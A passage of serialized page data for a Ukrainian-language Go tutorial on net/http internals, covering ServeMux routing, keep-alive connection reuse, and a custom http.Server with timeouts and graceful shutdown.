",[5557,29089,18338],{"class":5585},[5557,29091,29092],{"class":5567},"ServeMux",[5557,29094,10276],{"class":5585},[5557,29096,29097],{"class":5637},"Handle",[5557,29099,5673],{"class":5585},[5557,29101,29102],{"class":5654},"pattern",[5557,29104,6662],{"class":5567},[5557,29106,5305],{"class":5585},[5557,29108,29109],{"class":5654},"handler",[5557,29111,12157],{"class":5567},[5557,29113,5949],{"class":5585},[5557,29115,29116,29118,29120,29123,29125,29127],{"class":5559,"line":5686},[5557,29117,12612],{"class":5654},[5557,29119,5268],{"class":5585},[5557,29121,29122],{"class":5654},"mu",[5557,29124,5268],{"class":5585},[5557,29126,15278],{"class":5637},[5557,29128,5752],{"class":5585},[5557,29130,29131,29133,29136,29138,29140,29142,29144],{"class":5559,"line":5704},[5557,29132,5741],{"class":5581},[5557,29134,29135],{"class":5654}," mux",[5557,29137,5268],{"class":5585},[5557,29139,29122],{"class":5654},[5557,29141,5268],{"class":5585},[5557,29143,15357],{"class":5637},[5557,29145,5752],{"class":5585},[5557,29147,29148],{"class":5559,"line":5732},[5557,29149,5575],{"emptyLinePlaceholder":5574},[5557,29151,29152],{"class":5559,"line":5738},[5557,29153,29154],{"class":5647},"    \u002F\u002F Зберігаємо в карті\n",[5557,29156,29157,29159,29161,29164,29166,29168,29170,29173,29175,29178,29180,29182,29184,29186,29188,29190],{"class":5559,"line":5755},[5557,29158,12612],{"class":5654},[5557,29160,5268],{"class":5585},[5557,29162,29163],{"class":5654},"m",[5557,29165,6192],{"class":5585},[5557,29167,29102],{"class":5654},[5557,29169,14679],{"class":5585},[5557,29171,29172],{"class":5567},"muxEntry",[5557,29174,7065],{"class":5585},[5557,29176,29177],{"class":5654},"h",[5557,29179,6704],{"class":5585},[5557,29181,29109],{"class":5654},[5557,29183,5305],{"class":5585},[5557,29185,29102],{"class":5654},[5557,29187,6704],{"class":5585},[5557,29189,29102],{"class":5654},[5557,29191,5922],{"class":5585},[5557,29193,29194],{"class":5559,"line":5760},[5557,29195,5922],{"class":5585},[5557,29197,29198],{"class":5559,"line":5778},[5557,29199,5575],{"emptyLinePlaceholder":5574},[5557,29201,29202,29204,29206,29208,29210,29212,29214,29216,29218,29220,29222,29224,29226,29228,29230],{"class":5559,"line":5794},[5557,29203,5634],{"class":5563},[5557,29205,5226],{"class":5585},[5557,29207,29087],{"class":5654},[5557,29209,18338],{"class":5585},[5557,29211,29092],{"class":5567},[5557,29213,10276],{"class":5585},[5557,29215,11839],{"class":5637},[5557,29217,5673],{"class":5585},[5557,29219,8909],{"class":5654},[5557,29221,12174],{"class":5567},[5557,29223,5305],{"class":5585},[5557,29225,8922],{"class":5654},[5557,29227,8925],{"class":5585},[5557,29229,8933],{"class":5567},[5557,29231,5949],{"class":5585},[5557,29233,29234],{"class":5559,"line":5799},[5557,29235,29236],{"class":5647},"    \u002F\u002F Знаходимо найдовший збіг шаблону\n",[5557,29238,29239,29241,29243,29245,29247,29249,29251,29253,29255,29257],{"class":5559,"line":5807},[5557,29240,29060],{"class":5654},[5557,29242,5305],{"class":5585},[5557,29244,29102],{"class":5654},[5557,29246,5663],{"class":5585},[5557,29248,12726],{"class":5654},[5557,29250,5268],{"class":5585},[5557,29252,11743],{"class":5637},[5557,29254,5673],{"class":5585},[5557,29256,8922],{"class":5654},[5557,29258,5623],{"class":5585},[5557,29260,29261,29263,29265,29267,29269,29271,29273,29275],{"class":5559,"line":5813},[5557,29262,29060],{"class":5654},[5557,29264,5268],{"class":5585},[5557,29266,11839],{"class":5637},[5557,29268,5673],{"class":5585},[5557,29270,8909],{"class":5654},[5557,29272,5305],{"class":5585},[5557,29274,8922],{"class":5654},[5557,29276,5623],{"class":5585},[5557,29278,29279],{"class":5559,"line":5835},[5557,29280,5922],{"class":5585},[5557,29282,29283],{"class":5559,"line":5849},[5557,29284,5575],{"emptyLinePlaceholder":5574},[5557,29286,29287,29289,29291,29293,29295,29297,29299,29302,29304,29306,29308,29310,29312,29314,29316,29318,29320],{"class":5559,"line":5875},[5557,29288,5634],{"class":5563},[5557,29290,5226],{"class":5585},[5557,29292,29087],{"class":5654},[5557,29294,18338],{"class":5585},[5557,29296,29092],{"class":5567},[5557,29298,10276],{"class":5585},[5557,29300,29301],{"class":5637},"match",[5557,29303,5673],{"class":5585},[5557,29305,6258],{"class":5654},[5557,29307,6662],{"class":5567},[5557,29309,12054],{"class":5585},[5557,29311,29177],{"class":5654},[5557,29313,12157],{"class":5567},[5557,29315,5305],{"class":5585},[5557,29317,29102],{"class":5654},[5557,29319,6662],{"class":5567},[5557,29321,5949],{"class":5585},[5557,29323,29324],{"class":5559,"line":5881},[5557,29325,29326],{"class":5647},"    \u002F\u002F Шукаємо найдовший збіг префіксу\n",[5557,29328,29329,29331,29334,29336],{"class":5559,"line":5887},[5557,29330,18492],{"class":5563},[5557,29332,29333],{"class":5654}," n",[5557,29335,15023],{"class":5585},[5557,29337,29338],{"class":6134},"0\n",[5557,29340,29341,29343,29346,29348,29350,29352,29354,29356,29358,29360],{"class":5559,"line":5892},[5557,29342,5802],{"class":5581},[5557,29344,29345],{"class":5654}," k",[5557,29347,5305],{"class":5585},[5557,29349,27323],{"class":5654},[5557,29351,5663],{"class":5585},[5557,29353,11567],{"class":5581},[5557,29355,29135],{"class":5654},[5557,29357,5268],{"class":5585},[5557,29359,29163],{"class":5654},[5557,29361,5701],{"class":5585},[5557,29363,29364,29366,29368,29371,29373,29376,29378,29380],{"class":5559,"line":5898},[5557,29365,5838],{"class":5581},[5557,29367,9365],{"class":5585},[5557,29369,29370],{"class":5637},"pathMatch",[5557,29372,5673],{"class":5585},[5557,29374,29375],{"class":5654},"k",[5557,29377,5305],{"class":5585},[5557,29379,6258],{"class":5654},[5557,29381,5949],{"class":5585},[5557,29383,29384],{"class":5559,"line":5914},[5557,29385,5878],{"class":5581},[5557,29387,29388],{"class":5559,"line":5919},[5557,29389,5884],{"class":5585},[5557,29391,29392,29394,29397,29399,29401,29403,29405,29407,29409,29412,29414],{"class":5559,"line":5925},[5557,29393,5838],{"class":5581},[5557,29395,29396],{"class":5654}," h",[5557,29398,6353],{"class":5585},[5557,29400,5698],{"class":5563},[5557,29402,6363],{"class":5585},[5557,29404,6871],{"class":5637},[5557,29406,5673],{"class":5585},[5557,29408,29375],{"class":5654},[5557,29410,29411],{"class":5585},") > ",[5557,29413,18011],{"class":5654},[5557,29415,5701],{"class":5585},[5557,29417,29418,29421,29423,29425,29427,29429],{"class":5559,"line":5930},[5557,29419,29420],{"class":5654},"            n",[5557,29422,15023],{"class":5585},[5557,29424,6871],{"class":5637},[5557,29426,5673],{"class":5585},[5557,29428,29375],{"class":5654},[5557,29430,5623],{"class":5585},[5557,29432,29433,29436,29438,29440,29442],{"class":5559,"line":5952},[5557,29434,29435],{"class":5654},"            h",[5557,29437,15023],{"class":5585},[5557,29439,27323],{"class":5654},[5557,29441,5268],{"class":5585},[5557,29443,29444],{"class":5654},"h\n",[5557,29446,29447,29450,29452,29454,29456],{"class":5559,"line":5966},[5557,29448,29449],{"class":5654},"            pattern",[5557,29451,15023],{"class":5585},[5557,29453,27323],{"class":5654},[5557,29455,5268],{"class":5585},[5557,29457,29458],{"class":5654},"pattern\n",[5557,29460,29461],{"class":5559,"line":5971},[5557,29462,5884],{"class":5585},[5557,29464,29465],{"class":5559,"line":5977},[5557,29466,5735],{"class":5585},[5557,29468,29469],{"class":5559,"line":5998},[5557,29470,29471],{"class":5581},"    return\n",[5557,29473,29474],{"class":5559,"line":6003},[5557,29475,5922],{"class":5585},[5348,29477,29478],{},[5205,29479,29480],{},"Особливості маршрутизації:",[5198,29482,29483,29495,29503,29506],{},[5201,29484,29485,29488,29489,5305,29492],{},[5236,29486,29487],{},"\u002Fimages\u002F"," збігається з ",[5236,29490,29491],{},"\u002Fimages\u002Fcat.jpg",[5236,29493,29494],{},"\u002Fimages\u002Fdog.png",[5201,29496,29497,29500,29501],{},[5236,29498,29499],{},"\u002Fimages"," збігається лише з точним шляхом ",[5236,29502,29499],{},[5201,29504,29505],{},"Найдовший збіг має пріоритет",[5201,29507,29508,29509],{},"Якщо збігу немає, використовується обробник ",[5236,29510,29511],{},"NotFoundHandler",[5430,29513,29514,29517,29518,29520,29521,29523,29524,29527,29528,5222,29530,7121],{},[5205,29515,29516],{},"Внутрішня еволюція у Go 1.22:"," До версії Go 1.22 маршрутизація дійсно зводилася до лінійного пошуку найдовшого префікса у зрізі записів ",[5236,29519,29172],{},". Починаючи з Go 1.22, ядро ",[5236,29522,5250],{}," було переписане на високоефективне дерево маршрутів (",[5228,29525,29526],{},"routing tree","), яке спочатку індексує запити за HTTP-методом, а потім виконує зіставлення сегментів шляху з пріоритетом літералів над вайлдкардами (",[5236,29529,13337],{},[5236,29531,13461],{},[7759,29533,29535],{"id":29534},"_5-управління-зєднаннями-keep-alive","5. Управління з'єднаннями: Keep-Alive",[5348,29537,29538,29539,29542],{},"HTTP\u002F1.1 за замовчуванням використовує ",[5205,29540,29541],{},"постійні з'єднання"," (keep-alive). Go автоматично керує ними:",[5464,29544,29546],{"className":5550,"code":29545,"language":5553,"meta":5472,"style":5472},"\u002F\u002F Внутрішня логіка\nfunc (w *response) shouldReuseConnection() bool {\n    \u002F\u002F Перевірка умов для повторного використання\n    if w.closeAfterReply {\n        return false\n    }\n    if w.requestBodyLimitHit || w.closedRequestBodyEarly() {\n        return false\n    }\n    if w.req.Header.Get(\"Connection\") == \"close\" {\n        return false\n    }\n    if w.req.ProtoMajor \u003C 1 || (w.req.ProtoMajor == 1 && w.req.ProtoMinor \u003C 1) {\n        return false\n    }\n    return true\n}\n",[5236,29547,29548,29553,29576,29581,29594,29601,29605,29627,29633,29637,29666,29672,29676,29732,29738,29742,29749],{"__ignoreMap":5472},[5557,29549,29550],{"class":5559,"line":5560},[5557,29551,29552],{"class":5647},"\u002F\u002F Внутрішня логіка\n",[5557,29554,29555,29557,29559,29561,29563,29565,29567,29569,29571,29574],{"class":5559,"line":5571},[5557,29556,5634],{"class":5563},[5557,29558,5226],{"class":5585},[5557,29560,12035],{"class":5654},[5557,29562,18338],{"class":5585},[5557,29564,6962],{"class":5567},[5557,29566,10276],{"class":5585},[5557,29568,28669],{"class":5637},[5557,29570,8953],{"class":5585},[5557,29572,29573],{"class":5567},"bool",[5557,29575,5701],{"class":5585},[5557,29577,29578],{"class":5559,"line":5578},[5557,29579,29580],{"class":5647},"    \u002F\u002F Перевірка умов для повторного використання\n",[5557,29582,29583,29585,29587,29589,29592],{"class":5559,"line":5589},[5557,29584,5689],{"class":5581},[5557,29586,12070],{"class":5654},[5557,29588,5268],{"class":5585},[5557,29590,29591],{"class":5654},"closeAfterReply",[5557,29593,5701],{"class":5585},[5557,29595,29596,29598],{"class":5559,"line":5596},[5557,29597,28878],{"class":5581},[5557,29599,29600],{"class":5563}," false\n",[5557,29602,29603],{"class":5559,"line":5602},[5557,29604,5735],{"class":5585},[5557,29606,29607,29609,29611,29613,29616,29618,29620,29622,29625],{"class":5559,"line":5608},[5557,29608,5689],{"class":5581},[5557,29610,12070],{"class":5654},[5557,29612,5268],{"class":5585},[5557,29614,29615],{"class":5654},"requestBodyLimitHit",[5557,29617,6363],{"class":5585},[5557,29619,8909],{"class":5654},[5557,29621,5268],{"class":5585},[5557,29623,29624],{"class":5637},"closedRequestBodyEarly",[5557,29626,5641],{"class":5585},[5557,29628,29629,29631],{"class":5559,"line":5614},[5557,29630,28878],{"class":5581},[5557,29632,29600],{"class":5563},[5557,29634,29635],{"class":5559,"line":5620},[5557,29636,5735],{"class":5585},[5557,29638,29639,29641,29643,29645,29647,29649,29651,29653,29655,29657,29659,29661,29664],{"class":5559,"line":5626},[5557,29640,5689],{"class":5581},[5557,29642,12070],{"class":5654},[5557,29644,5268],{"class":5585},[5557,29646,23646],{"class":5654},[5557,29648,5268],{"class":5585},[5557,29650,10972],{"class":5654},[5557,29652,5268],{"class":5585},[5557,29654,10977],{"class":5637},[5557,29656,5673],{"class":5585},[5557,29658,20253],{"class":5592},[5557,29660,10985],{"class":5585},[5557,29662,29663],{"class":5592},"\"close\"",[5557,29665,5701],{"class":5585},[5557,29667,29668,29670],{"class":5559,"line":5631},[5557,29669,28878],{"class":5581},[5557,29671,29600],{"class":5563},[5557,29673,29674],{"class":5559,"line":5644},[5557,29675,5735],{"class":5585},[5557,29677,29678,29680,29682,29684,29686,29688,29691,29693,29695,29698,29700,29702,29704,29706,29708,29710,29712,29715,29717,29719,29721,29723,29726,29728,29730],{"class":5559,"line":5651},[5557,29679,5689],{"class":5581},[5557,29681,12070],{"class":5654},[5557,29683,5268],{"class":5585},[5557,29685,23646],{"class":5654},[5557,29687,5268],{"class":5585},[5557,29689,29690],{"class":5654},"ProtoMajor",[5557,29692,20358],{"class":5585},[5557,29694,6213],{"class":6134},[5557,29696,29697],{"class":5585}," || (",[5557,29699,8909],{"class":5654},[5557,29701,5268],{"class":5585},[5557,29703,23646],{"class":5654},[5557,29705,5268],{"class":5585},[5557,29707,29690],{"class":5654},[5557,29709,6353],{"class":5585},[5557,29711,6213],{"class":6134},[5557,29713,29714],{"class":5585}," && ",[5557,29716,8909],{"class":5654},[5557,29718,5268],{"class":5585},[5557,29720,23646],{"class":5654},[5557,29722,5268],{"class":5585},[5557,29724,29725],{"class":5654},"ProtoMinor",[5557,29727,20358],{"class":5585},[5557,29729,6213],{"class":6134},[5557,29731,5949],{"class":5585},[5557,29733,29734,29736],{"class":5559,"line":5686},[5557,29735,28878],{"class":5581},[5557,29737,29600],{"class":5563},[5557,29739,29740],{"class":5559,"line":5704},[5557,29741,5735],{"class":5585},[5557,29743,29744,29746],{"class":5559,"line":5732},[5557,29745,11758],{"class":5581},[5557,29747,29748],{"class":5563}," true\n",[5557,29750,29751],{"class":5559,"line":5738},[5557,29752,5922],{"class":5585},[5348,29754,29755],{},"Якщо з'єднання може бути переробленим, воно залишається відкритим, і сервер очікує наступного запиту.",[8040,29757,29758,29761],{},[5205,29759,29760],{},"Оптимізація:"," Завдяки keep-alive, десятки запитів можуть виконуватися через одне TCP-з'єднання, економлячи час на handshake. Але це також означає, що горутина залишається активною, поки з'єднання не закриється або не досягне IdleTimeout.",[5340,29763],{},[5340,29765],{},[5343,29767,29769,29770,29772],{"id":29768},"створення-кастомного-httpserver-контроль-над-деталями","Створення кастомного ",[5236,29771,5257],{},": контроль над деталями",[5348,29774,29775,29776,29778,29779,29782,29783,29786,29787,7121],{},"Функція ",[5236,29777,12460],{}," зручна для швидкого прототипування, але вона використовує ",[5205,29780,29781],{},"налаштування за замовчуванням",", які не завжди підходять для продакшн-систем. Наприклад, за замовчуванням ",[5205,29784,29785],{},"немає таймаутів читання та запису",", що може призвести до витоків ресурсів, коли повільний або зловмисний клієнт тримає з'єднання відкритим необмежений час (атака ",[5205,29788,29789],{},"Slowloris",[5348,29791,29792,29793,29795,29796,29798],{},"Замість ",[5236,29794,12460],{}," ми можемо створити екземпляр структури ",[5236,29797,5257],{}," із точними налаштуваннями:",[5464,29800,29802],{"className":5550,"code":29801,"language":5553,"meta":5472,"style":5472},"package main\n\nimport (\n    \"context\"\n    \"fmt\"\n    \"log\"\n    \"net\u002Fhttp\"\n    \"os\"\n    \"os\u002Fsignal\"\n    \"syscall\"\n    \"time\"\n)\n\nfunc main() {\n    mux := http.NewServeMux()\n    mux.HandleFunc(\"\u002F\", func(w http.ResponseWriter, r *http.Request) {\n        fmt.Fprintf(w, \"Сервер працює!\")\n    })\n\n    \u002F\u002F Створюємо кастомний сервер із налаштуванням таймаутів\n    server := &http.Server{\n        Addr:    \":8080\",\n        Handler: mux,\n\n        \u002F\u002F Таймаут на читання заголовків та тіла запиту\n        ReadTimeout: 10 * time.Second,\n\n        \u002F\u002F Таймаут на запис відповіді\n        WriteTimeout: 10 * time.Second,\n\n        \u002F\u002F Максимальний час очікування наступного запиту при keep-alive з'єднанні\n        IdleTimeout: 120 * time.Second,\n\n        \u002F\u002F Максимальний розмір заголовків запиту (за замовчуванням 1 МБ)\n        MaxHeaderBytes: 1 \u003C\u003C 20, \u002F\u002F 1 MB\n    }\n\n    \u002F\u002F Запускаємо сервер у окремій горутині\n    go func() {\n        fmt.Println(\"🚀 Сервер запущено на http:\u002F\u002Flocalhost:8080\")\n        if err := server.ListenAndServe(); err != nil && err != http.ErrServerClosed {\n            log.Fatalf(\"Помилка запуску сервера: %v\", err)\n        }\n    }()\n\n    \u002F\u002F Чекаємо сигнал завершення роботи (Ctrl+C)\n    quit := make(chan os.Signal, 1)\n    signal.Notify(quit, os.Interrupt, syscall.SIGTERM)\n    \u003C-quit\n\n    fmt.Println(\"\\n🛑 Отримано сигнал завершення, зупиняємо сервер...\")\n\n    \u002F\u002F Graceful Shutdown: даємо серверу 15 секунд на завершення поточних запитів\n    ctx, cancel := context.WithTimeout(context.Background(), 15*time.Second)\n    defer cancel()\n\n    if err := server.Shutdown(ctx); err != nil {\n        log.Fatalf(\"Помилка при зупинці сервера: %v\", err)\n    }\n\n    fmt.Println(\"✅ Сервер коректно зупинено\")\n}\n",[5236,29803,29804,29810,29814,29820,29825,29829,29833,29837,29842,29847,29852,29857,29861,29865,29873,29887,29927,29946,29950,29954,29959,29973,29983,29993,29997,30002,30020,30024,30029,30047,30051,30056,30074,30078,30083,30100,30104,30108,30113,30121,30135,30171,30194,30198,30202,30206,30211,30235,30265,30271,30275,30294,30298,30303,30342,30350,30354,30382,30405,30409,30413,30428],{"__ignoreMap":5472},[5557,29805,29806,29808],{"class":5559,"line":5560},[5557,29807,5564],{"class":5563},[5557,29809,5568],{"class":5567},[5557,29811,29812],{"class":5559,"line":5571},[5557,29813,5575],{"emptyLinePlaceholder":5574},[5557,29815,29816,29818],{"class":5559,"line":5578},[5557,29817,5582],{"class":5581},[5557,29819,5586],{"class":5585},[5557,29821,29822],{"class":5559,"line":5589},[5557,29823,29824],{"class":5592},"    \"context\"\n",[5557,29826,29827],{"class":5559,"line":5596},[5557,29828,5599],{"class":5592},[5557,29830,29831],{"class":5559,"line":5602},[5557,29832,5605],{"class":5592},[5557,29834,29835],{"class":5559,"line":5608},[5557,29836,12286],{"class":5592},[5557,29838,29839],{"class":5559,"line":5614},[5557,29840,29841],{"class":5592},"    \"os\"\n",[5557,29843,29844],{"class":5559,"line":5620},[5557,29845,29846],{"class":5592},"    \"os\u002Fsignal\"\n",[5557,29848,29849],{"class":5559,"line":5626},[5557,29850,29851],{"class":5592},"    \"syscall\"\n",[5557,29853,29854],{"class":5559,"line":5631},[5557,29855,29856],{"class":5592},"    \"time\"\n",[5557,29858,29859],{"class":5559,"line":5644},[5557,29860,5623],{"class":5585},[5557,29862,29863],{"class":5559,"line":5651},[5557,29864,5575],{"emptyLinePlaceholder":5574},[5557,29866,29867,29869,29871],{"class":5559,"line":5686},[5557,29868,5634],{"class":5563},[5557,29870,5638],{"class":5637},[5557,29872,5641],{"class":5585},[5557,29874,29875,29877,29879,29881,29883,29885],{"class":5559,"line":5704},[5557,29876,12612],{"class":5654},[5557,29878,5663],{"class":5585},[5557,29880,8928],{"class":5654},[5557,29882,5268],{"class":5585},[5557,29884,12621],{"class":5637},[5557,29886,5752],{"class":5585},[5557,29888,29889,29891,29893,29895,29897,29899,29901,29903,29905,29907,29909,29911,29913,29915,29917,29919,29921,29923,29925],{"class":5559,"line":5732},[5557,29890,12612],{"class":5654},[5557,29892,5268],{"class":5585},[5557,29894,12316],{"class":5637},[5557,29896,5673],{"class":5585},[5557,29898,9017],{"class":5592},[5557,29900,5305],{"class":5585},[5557,29902,5634],{"class":5563},[5557,29904,5673],{"class":5585},[5557,29906,8909],{"class":5654},[5557,29908,8912],{"class":5567},[5557,29910,5268],{"class":5585},[5557,29912,8917],{"class":5567},[5557,29914,5305],{"class":5585},[5557,29916,8922],{"class":5654},[5557,29918,8925],{"class":5585},[5557,29920,8928],{"class":5567},[5557,29922,5268],{"class":5585},[5557,29924,8933],{"class":5567},[5557,29926,5949],{"class":5585},[5557,29928,29929,29931,29933,29935,29937,29939,29941,29944],{"class":5559,"line":5738},[5557,29930,11530],{"class":5654},[5557,29932,5268],{"class":5585},[5557,29934,9146],{"class":5637},[5557,29936,5673],{"class":5585},[5557,29938,8909],{"class":5654},[5557,29940,5305],{"class":5585},[5557,29942,29943],{"class":5592},"\"Сервер працює!\"",[5557,29945,5623],{"class":5585},[5557,29947,29948],{"class":5559,"line":5755},[5557,29949,11978],{"class":5585},[5557,29951,29952],{"class":5559,"line":5760},[5557,29953,5575],{"emptyLinePlaceholder":5574},[5557,29955,29956],{"class":5559,"line":5778},[5557,29957,29958],{"class":5647},"    \u002F\u002F Створюємо кастомний сервер із налаштуванням таймаутів\n",[5557,29960,29961,29963,29965,29967,29969,29971],{"class":5559,"line":5794},[5557,29962,22178],{"class":5654},[5557,29964,8973],{"class":5585},[5557,29966,8928],{"class":5567},[5557,29968,5268],{"class":5585},[5557,29970,21760],{"class":5567},[5557,29972,6695],{"class":5585},[5557,29974,29975,29977,29979,29981],{"class":5559,"line":5799},[5557,29976,22193],{"class":5654},[5557,29978,9002],{"class":5585},[5557,29980,5681],{"class":5592},[5557,29982,6710],{"class":5585},[5557,29984,29985,29987,29989,29991],{"class":5559,"line":5807},[5557,29986,22204],{"class":5654},[5557,29988,6704],{"class":5585},[5557,29990,12726],{"class":5654},[5557,29992,6710],{"class":5585},[5557,29994,29995],{"class":5559,"line":5813},[5557,29996,5575],{"emptyLinePlaceholder":5574},[5557,29998,29999],{"class":5559,"line":5835},[5557,30000,30001],{"class":5647},"        \u002F\u002F Таймаут на читання заголовків та тіла запиту\n",[5557,30003,30004,30006,30008,30010,30012,30014,30016,30018],{"class":5559,"line":5849},[5557,30005,22224],{"class":5654},[5557,30007,6704],{"class":5585},[5557,30009,18335],{"class":6134},[5557,30011,20429],{"class":5585},[5557,30013,20432],{"class":5654},[5557,30015,5268],{"class":5585},[5557,30017,20437],{"class":5654},[5557,30019,6710],{"class":5585},[5557,30021,30022],{"class":5559,"line":5875},[5557,30023,5575],{"emptyLinePlaceholder":5574},[5557,30025,30026],{"class":5559,"line":5881},[5557,30027,30028],{"class":5647},"        \u002F\u002F Таймаут на запис відповіді\n",[5557,30030,30031,30033,30035,30037,30039,30041,30043,30045],{"class":5559,"line":5887},[5557,30032,22264],{"class":5654},[5557,30034,6704],{"class":5585},[5557,30036,18335],{"class":6134},[5557,30038,20429],{"class":5585},[5557,30040,20432],{"class":5654},[5557,30042,5268],{"class":5585},[5557,30044,20437],{"class":5654},[5557,30046,6710],{"class":5585},[5557,30048,30049],{"class":5559,"line":5892},[5557,30050,5575],{"emptyLinePlaceholder":5574},[5557,30052,30053],{"class":5559,"line":5898},[5557,30054,30055],{"class":5647},"        \u002F\u002F Максимальний час очікування наступного запиту при keep-alive з'єднанні\n",[5557,30057,30058,30060,30062,30064,30066,30068,30070,30072],{"class":5559,"line":5914},[5557,30059,22284],{"class":5654},[5557,30061,6704],{"class":5585},[5557,30063,22289],{"class":6134},[5557,30065,20429],{"class":5585},[5557,30067,20432],{"class":5654},[5557,30069,5268],{"class":5585},[5557,30071,20437],{"class":5654},[5557,30073,6710],{"class":5585},[5557,30075,30076],{"class":5559,"line":5919},[5557,30077,5575],{"emptyLinePlaceholder":5574},[5557,30079,30080],{"class":5559,"line":5925},[5557,30081,30082],{"class":5647},"        \u002F\u002F Максимальний розмір заголовків запиту (за замовчуванням 1 МБ)\n",[5557,30084,30085,30087,30089,30091,30093,30095,30097],{"class":5559,"line":5930},[5557,30086,22313],{"class":5654},[5557,30088,6704],{"class":5585},[5557,30090,6213],{"class":6134},[5557,30092,22320],{"class":5585},[5557,30094,22323],{"class":6134},[5557,30096,5305],{"class":5585},[5557,30098,30099],{"class":5647},"\u002F\u002F 1 MB\n",[5557,30101,30102],{"class":5559,"line":5952},[5557,30103,5735],{"class":5585},[5557,30105,30106],{"class":5559,"line":5966},[5557,30107,5575],{"emptyLinePlaceholder":5574},[5557,30109,30110],{"class":5559,"line":5971},[5557,30111,30112],{"class":5647},"    \u002F\u002F Запускаємо сервер у окремій горутині\n",[5557,30114,30115,30117,30119],{"class":5559,"line":5977},[5557,30116,22548],{"class":5581},[5557,30118,21829],{"class":5563},[5557,30120,5641],{"class":5585},[5557,30122,30123,30125,30127,30129,30131,30133],{"class":5559,"line":5998},[5557,30124,11530],{"class":5654},[5557,30126,5268],{"class":5585},[5557,30128,5768],{"class":5637},[5557,30130,5673],{"class":5585},[5557,30132,12411],{"class":5592},[5557,30134,5623],{"class":5585},[5557,30136,30137,30139,30141,30143,30145,30147,30149,30151,30153,30155,30157,30159,30161,30163,30165,30167,30169],{"class":5559,"line":6003},[5557,30138,5838],{"class":5581},[5557,30140,5692],{"class":5654},[5557,30142,5663],{"class":5585},[5557,30144,22578],{"class":5654},[5557,30146,5268],{"class":5585},[5557,30148,12422],{"class":5637},[5557,30150,19305],{"class":5585},[5557,30152,5660],{"class":5654},[5557,30154,5695],{"class":5585},[5557,30156,5698],{"class":5563},[5557,30158,29714],{"class":5585},[5557,30160,5660],{"class":5654},[5557,30162,5695],{"class":5585},[5557,30164,8928],{"class":5654},[5557,30166,5268],{"class":5585},[5557,30168,22595],{"class":5654},[5557,30170,5701],{"class":5585},[5557,30172,30173,30175,30177,30179,30181,30184,30186,30188,30190,30192],{"class":5559,"line":6009},[5557,30174,5852],{"class":5654},[5557,30176,5268],{"class":5585},[5557,30178,5712],{"class":5637},[5557,30180,5673],{"class":5585},[5557,30182,30183],{"class":5592},"\"Помилка запуску сервера: ",[5557,30185,5720],{"class":5654},[5557,30187,5723],{"class":5592},[5557,30189,5305],{"class":5585},[5557,30191,5660],{"class":5654},[5557,30193,5623],{"class":5585},[5557,30195,30196],{"class":5559,"line":6036},[5557,30197,5884],{"class":5585},[5557,30199,30200],{"class":5559,"line":6049},[5557,30201,22629],{"class":5585},[5557,30203,30204],{"class":5559,"line":6073},[5557,30205,5575],{"emptyLinePlaceholder":5574},[5557,30207,30208],{"class":5559,"line":6079},[5557,30209,30210],{"class":5647},"    \u002F\u002F Чекаємо сигнал завершення роботи (Ctrl+C)\n",[5557,30212,30213,30215,30217,30219,30221,30223,30225,30227,30229,30231,30233],{"class":5559,"line":6084},[5557,30214,22643],{"class":5654},[5557,30216,5663],{"class":5585},[5557,30218,14631],{"class":5637},[5557,30220,5673],{"class":5585},[5557,30222,22652],{"class":5563},[5557,30224,22655],{"class":5567},[5557,30226,5268],{"class":5585},[5557,30228,22660],{"class":5567},[5557,30230,5305],{"class":5585},[5557,30232,6213],{"class":6134},[5557,30234,5623],{"class":5585},[5557,30236,30237,30239,30241,30243,30245,30247,30249,30251,30253,30255,30257,30259,30261,30263],{"class":5559,"line":6089},[5557,30238,22671],{"class":5654},[5557,30240,5268],{"class":5585},[5557,30242,22676],{"class":5637},[5557,30244,5673],{"class":5585},[5557,30246,22681],{"class":5654},[5557,30248,5305],{"class":5585},[5557,30250,18373],{"class":5654},[5557,30252,5268],{"class":5585},[5557,30254,22690],{"class":5654},[5557,30256,5305],{"class":5585},[5557,30258,22695],{"class":5654},[5557,30260,5268],{"class":5585},[5557,30262,22700],{"class":5654},[5557,30264,5623],{"class":5585},[5557,30266,30267,30269],{"class":5559,"line":6095},[5557,30268,22707],{"class":5585},[5557,30270,22710],{"class":5654},[5557,30272,30273],{"class":5559,"line":6118},[5557,30274,5575],{"emptyLinePlaceholder":5574},[5557,30276,30277,30279,30281,30283,30285,30287,30289,30292],{"class":5559,"line":6140},[5557,30278,5763],{"class":5654},[5557,30280,5268],{"class":5585},[5557,30282,5768],{"class":5637},[5557,30284,5673],{"class":5585},[5557,30286,5723],{"class":5592},[5557,30288,6372],{"class":6358},[5557,30290,30291],{"class":5592},"🛑 Отримано сигнал завершення, зупиняємо сервер...\"",[5557,30293,5623],{"class":5585},[5557,30295,30296],{"class":5559,"line":6167},[5557,30297,5575],{"emptyLinePlaceholder":5574},[5557,30299,30300],{"class":5559,"line":6172},[5557,30301,30302],{"class":5647},"    \u002F\u002F Graceful Shutdown: даємо серверу 15 секунд на завершення поточних запитів\n",[5557,30304,30305,30307,30309,30311,30313,30315,30317,30319,30321,30323,30325,30327,30329,30332,30334,30336,30338,30340],{"class":5559,"line":6177},[5557,30306,16899],{"class":5654},[5557,30308,5305],{"class":5585},[5557,30310,22723],{"class":5654},[5557,30312,5663],{"class":5585},[5557,30314,5317],{"class":5654},[5557,30316,5268],{"class":5585},[5557,30318,22732],{"class":5637},[5557,30320,5673],{"class":5585},[5557,30322,5317],{"class":5654},[5557,30324,5268],{"class":5585},[5557,30326,22741],{"class":5637},[5557,30328,20677],{"class":5585},[5557,30330,30331],{"class":6134},"15",[5557,30333,18338],{"class":5585},[5557,30335,20432],{"class":5654},[5557,30337,5268],{"class":5585},[5557,30339,20437],{"class":5654},[5557,30341,5623],{"class":5585},[5557,30343,30344,30346,30348],{"class":5559,"line":6182},[5557,30345,5741],{"class":5581},[5557,30347,22763],{"class":5637},[5557,30349,5752],{"class":5585},[5557,30351,30352],{"class":5559,"line":6201},[5557,30353,5575],{"emptyLinePlaceholder":5574},[5557,30355,30356,30358,30360,30362,30364,30366,30368,30370,30372,30374,30376,30378,30380],{"class":5559,"line":6218},[5557,30357,5689],{"class":5581},[5557,30359,5692],{"class":5654},[5557,30361,5663],{"class":5585},[5557,30363,22578],{"class":5654},[5557,30365,5268],{"class":5585},[5557,30367,22041],{"class":5637},[5557,30369,5673],{"class":5585},[5557,30371,18853],{"class":5654},[5557,30373,15210],{"class":5585},[5557,30375,5660],{"class":5654},[5557,30377,5695],{"class":5585},[5557,30379,5698],{"class":5563},[5557,30381,5701],{"class":5585},[5557,30383,30384,30386,30388,30390,30392,30395,30397,30399,30401,30403],{"class":5559